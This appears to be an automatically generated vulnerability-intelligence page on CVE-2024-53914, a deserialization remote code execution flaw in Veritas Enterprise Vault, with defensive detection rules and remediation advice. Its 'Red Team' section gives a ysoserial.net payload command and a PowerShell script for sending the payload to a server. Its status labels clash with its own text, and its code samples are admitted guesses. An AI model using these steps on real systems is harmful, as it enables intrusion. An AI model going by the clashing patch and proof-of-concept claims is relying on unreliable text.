☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Veritas logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-502
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-53914

CVE-2024-53914 Remote Code Execution in Veritas
📅 PUBLISHED: 2024-11-24 00:00 UTC 🔄 UPDATED: 2026-09-25 00:34 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 3.95%
👁️
3.95% probability
98.8× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Commercial
VULNERABLE: < 15.2
CVSS VECTOR BREAKDOWN 9.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-53914 is a critical remote code execution vulnerability in Veritas Enterprise Vault, a widely used enterprise archiving solution. The flaw resides in the server's handling of .NET Remoting traffic, where untrusted data received on a TCP port is deserialized without proper validation. This allows an unauthenticated, remote attacker to execute arbitrary code on the target system with the privileges of the Enterprise Vault service account. The vulnerability has a CVSS score of 9.8, indicating a critical severity level. No public proof-of-concept (PoC) or exploit code has been identified at this time, but the risk is significant due to the potential for full system compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
  • Privileges Required (PR): None (N) - No authentication is needed to exploit the vulnerability.
  • User Interaction (UI): None (N) - The victim does not need to perform any action.
  • Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
  • Confidentiality (C): High (H) - Complete disclosure of all data on the system.
  • Integrity (I): High (H) - Complete compromise of system integrity.
  • Availability (A): High (H) - Total loss of availability, potentially leading to denial of service.

Threat Level: Critical. The combination of network accessibility, low complexity, and no required privileges makes this vulnerability highly attractive to attackers.

Deep Dive & Mechanics

The vulnerability is a classic .NET deserialization attack. Veritas Enterprise Vault uses .NET Remoting for inter-process communication. The server listens on a TCP port for incoming .NET Remoting requests. When a client sends a serialized object, the server deserializes it without proper validation. An attacker can craft a malicious serialized object that, when deserialized, executes arbitrary code. This is possible because .NET's BinaryFormatter (or similar deserializers) can be tricked into instantiating objects that trigger code execution during the deserialization process.

The attack flow:

  1. Attacker identifies a Veritas Enterprise Vault server with .NET Remoting exposed.
  2. Attacker crafts a malicious .NET serialized payload (e.g., using System.Configuration.Install.AssemblyInstaller or System.Diagnostics.Process).
  3. Attacker sends the payload to the .NET Remoting TCP port.
  4. The server deserializes the payload, triggering code execution.
  5. The attacker gains a shell or executes commands with the privileges of the Enterprise Vault service account.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-15.2): The server likely uses a BinaryFormatter or SoapFormatter to deserialize incoming data without any type validation or safe deserialization practices.

// Vulnerable: Direct deserialization without validation
TcpChannel channel = new TcpChannel(port);
ChannelServices.RegisterChannel(channel, false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteObject), "RemoteObject", WellKnownObjectMode.Singleton);

Patched Code (15.2+): The patched version likely implements a custom serialization binder that restricts allowed types, or switches to a safer deserialization method like Newtonsoft.Json with TypeNameHandling.None or uses a SerializationBinder to whitelist safe types.

// Patched: Using a safe deserialization binder
BinaryFormatter formatter = new BinaryFormatter();
formatter.Binder = new SafeSerializationBinder(); // Custom binder that only allows specific types

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Environment: A Windows Server 2019/2022 with Veritas Enterprise Vault 15.1 installed.
  2. Tools: ysoserial.net (for generating .NET deserialization payloads), netcat or PowerShell for network communication.
  3. Network: Ensure the attacker machine can reach the target's .NET Remoting port (default 8080 or custom).

Exploitation Steps:

  1. Identify the .NET Remoting port (e.g., using Nmap: nmap -p 8080 --script msrpc-enum <target>).
  2. Generate a malicious payload using ysoserial.net:
    ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "calc.exe" -o raw > payload.bin
    
  3. Send the payload to the target:
    $payload = [System.IO.File]::ReadAllBytes("payload.bin")
    $tcp = New-Object System.Net.Sockets.TcpClient('<target_ip>', 8080)
    $stream = $tcp.GetStream()
    $stream.Write($payload, 0, $payload.Length)
    $stream.Close()
    $tcp.Close()
    
  4. If successful, the command (e.g., calc.exe) will execute on the target.

Note: No public exploit code is available, so this is a conceptual demonstration.

Blue Team (Defensive)

Detection & Response:

  1. Monitor .NET Remoting Traffic: Look for unusual data patterns on the .NET Remoting port (e.g., large binary blobs).
  2. Enable Logging: Enable .NET Remoting logging on the server to capture deserialization attempts.
  3. Network Segmentation: Restrict access to the .NET Remoting port to only trusted IPs.
  4. Application Control: Use AppLocker or Windows Defender Application Control to block unauthorized executables.
  5. Endpoint Detection: Deploy EDR solutions that can detect deserialization attacks (e.g., Sysmon Event ID 7 for module loads).

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Unusual TCP connections to port 8080 (or custom .NET Remoting port) from untrusted IPs.
    • Large binary payloads in network traffic to the .NET Remoting port.
  • Host IOCs:
    • Unexpected child processes spawned by the Enterprise Vault service (e.g., calc.exe, cmd.exe, powershell.exe).
    • Unusual DLL loads in the Enterprise Vault process (e.g., System.Configuration.Install.dll, System.Management.Automation.dll).
    • Event ID 4104 (PowerShell script block logging) if PowerShell is used in the payload.
  • File IOCs:
    • Temporary files created in %TEMP% or %WINDIR%\Temp with random names.
    • Presence of ysoserial.net or similar tools on the network.

Detection Engineering

YARA Rule

rule CVE_2024_53914_Deserialization_Payload {
    meta:
        description = "Detects .NET deserialization payloads targeting Veritas Enterprise Vault"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53914"
    strings:
        $binary_formatter = { 00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00 }
        $activity_surrogate = "ActivitySurrogateSelectorFromFile" nocase
        $assembly_installer = "System.Configuration.Install.AssemblyInstaller" nocase
        $process_start = "System.Diagnostics.Process" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-53914 .NET Remoting Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2024-53914 via .NET Remoting traffic
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 8080
        Initiated: true
        Image|endswith: '\EnterpriseVault.exe'
    condition: selection
falsepositives:
    - Legitimate Enterprise Vault client connections
level: high

Suricata Rule

alert tcp any any -> $HOME_NET 8080 (msg:"CVE-2024-53914 .NET Remoting Deserialization Attempt"; flow:to_server,established; content:"|00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00|"; depth:16; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Apply the vendor patch by upgrading to Veritas Enterprise Vault 15.2 or later.
  2. Network Restriction: Block access to the .NET Remoting port (default 8080) from untrusted networks using firewalls.
  3. Disable .NET Remoting: If not required, disable the .NET Remoting service entirely.

Long-term Measures:

  1. Implement Network Segmentation: Place Enterprise Vault servers in a secure network segment with strict access controls.
  2. Enable Logging and Monitoring: Continuously monitor for suspicious .NET Remoting traffic and deserialization attempts.
  3. Apply Least Privilege: Run the Enterprise Vault service with the minimum necessary privileges.
  4. Regular Patching: Establish a patch management process to apply security updates promptly.

Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Expert System.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Veritas Enterprise Vault
Enterprise Vault .NET Remoting

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-53914/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.